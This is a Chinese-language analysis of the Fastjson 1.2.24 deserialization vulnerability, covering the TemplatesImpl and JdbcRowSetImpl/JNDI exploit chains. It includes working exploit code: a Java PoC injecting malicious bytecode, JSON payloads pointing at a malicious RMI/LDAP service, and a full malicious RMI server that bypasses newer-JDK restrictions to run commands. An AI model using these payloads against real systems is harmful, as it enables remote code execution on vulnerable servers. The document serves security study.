Fastjson1.2.24漏洞分析 #
环境配置 #
导入需要的依赖:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>
主要有两条攻击的链子,一条基于TemplatesImpl,一条基于JdbcRowSetImpl。
基于 TemplatesImpl 的利用链 #
poc 就是把恶意代码放到一个 json 格式的字符串里面,开头接@type,这里我们不需要通过反射来修改值,而是可以直接赋值。
@type之后是我们要进行反序列化的类,会获取它的构造方法、getter、setter方法。所以我们首先要找到这个反序列化类的构造函数、getter、setter有问题的地方。
利用链分析 #
这里利用的是之前学习 CC 链的时候有一条链子使用了TemplatesImpl来加载字节码,它的漏洞点在于调用了newInstance()方法,再去看这里,发现漏洞点的地方其实就是一个getter方法。

所以TemplatesImpl是满足我们 Fastjson 漏洞的利用条件的,在构造 EXP 前,先分析一下需要的参数。
参数分析 #
这一步其实和当时 CC3 链很像,之前是通过反射进行修改,现在是直接放到 json 字符串里就可以了。
先看TemplatesImpl类中的getTransletInstance()方法,这里直接参考 CC3 链的构造。

_name不能为null,需要_class为null,这样就可以进入到defineTransletClasses()这个方法里,所以_class可以不用写,_tfactory也不能为空,_bytecodes是恶意字节码。
但是这个getter并不满足调用对应getter的条件,所以还需要去找合适的方法。
解决问题 #
从getTransletInstance()开始去找谁调用了这个方法,只有newTransformer()调用了它,但是这个方法并不符合条件,所以还需要向上查找。然后就来到了getOutputProperties()方法。

大致的链子是这样的:
getOutputProperties() ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
构造 EXP #
我们在反序列化的时候参数需要加上Object.class与Feature.SupportNonPublicField。
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class TemplatesImplPOC {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)),bos);
} catch (IOException e) {
throw new RuntimeException(e);
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String[] args) {
try {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "D:\\JavaSecTestCode\\Calc.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\""+NASTY_CLASS+"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'solo','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
基于 JdbcRowSetImpl 的利用链 #
简单来说就是利用了 JNDI 注入,这是平常用的最多的攻击方式。
基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI+RMI 和 JNDI+LDAP,都是基于 Bean Property 类型的 JNDI 的利用方式。
这一条链子名为JdbcRowSetImpl,所以我们先进到这个类里面进去。JdbcRowSetImpl类里面有一个 setDataSourceName() 方法,一看方法名就知道是什么意思了。设置数据库源,我们通过这个方式攻击。
EXP:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}
这里我就用https://github.com/cckuailong/JNDI-Injection-Exploit-Plus这个工具在本地来起一个恶意的 Server,也可以放到云服务器上。
这里来分析一下这个利用链。
找到com.sun.rowset.JdbcRowSetImpl这个类,先看一下这个类的无参构造方法:
public JdbcRowSetImpl() {
this.conn = null;
this.ps = null;
this.rs = null;
...
}
重点是conn默认为null,这在后面的漏洞触发点是比较重要的。
然后看setAutoCommit方法:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
再看一下我们的 payload 有一个"autoCommit":true。根据 Fastjson 处理 json 数据的原理,就会调用setAutoCommit并且var1就是true。
由于无参构造里默认conn是null,所以我们就会走到 else 的分支里,从而调用这个类内部的connect()方法。
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
这里就有很明显的 JNDI 的调用了,而且lookup()的参数是我们可控的。由于我们传了dataSourceName这个参数,所以会调用对应的setter:
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
而this.getDataSourceName()得到的就是null,所以会走 else 分支。在connect()调用的getDataSourceName()获取的就是我们传入的数据,所以就会去lookup()我们的恶意 RMI 服务。
这条利用链也可以用 LDAP 来打,具体的 payload 只要换一下协议就可以了,原理是类似的。
JDK 高版本绕过 #
jdk8u191 之后的版本就是用 LDAP 的绕过方式来打,EXP 其实并没有变,恶意 LDAP 服务发生了点变化。
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
// JNDI 高版本 jdk 绕过服务端,用 bind 的方式
public class JNDIBypassHighJavaServerEL {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry(1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
总结 #
总结一下两种攻击方式,TemplatesImpl 是有一点限制的,需要对方的代码里面能够让我们加载的私有的 getter/setter,也就是需要这个参数 Feature.SupportNonPublicField。
第二种攻击方式,需要针对 jdk 版本,不过平常攻击肯定是第二种用的比较多。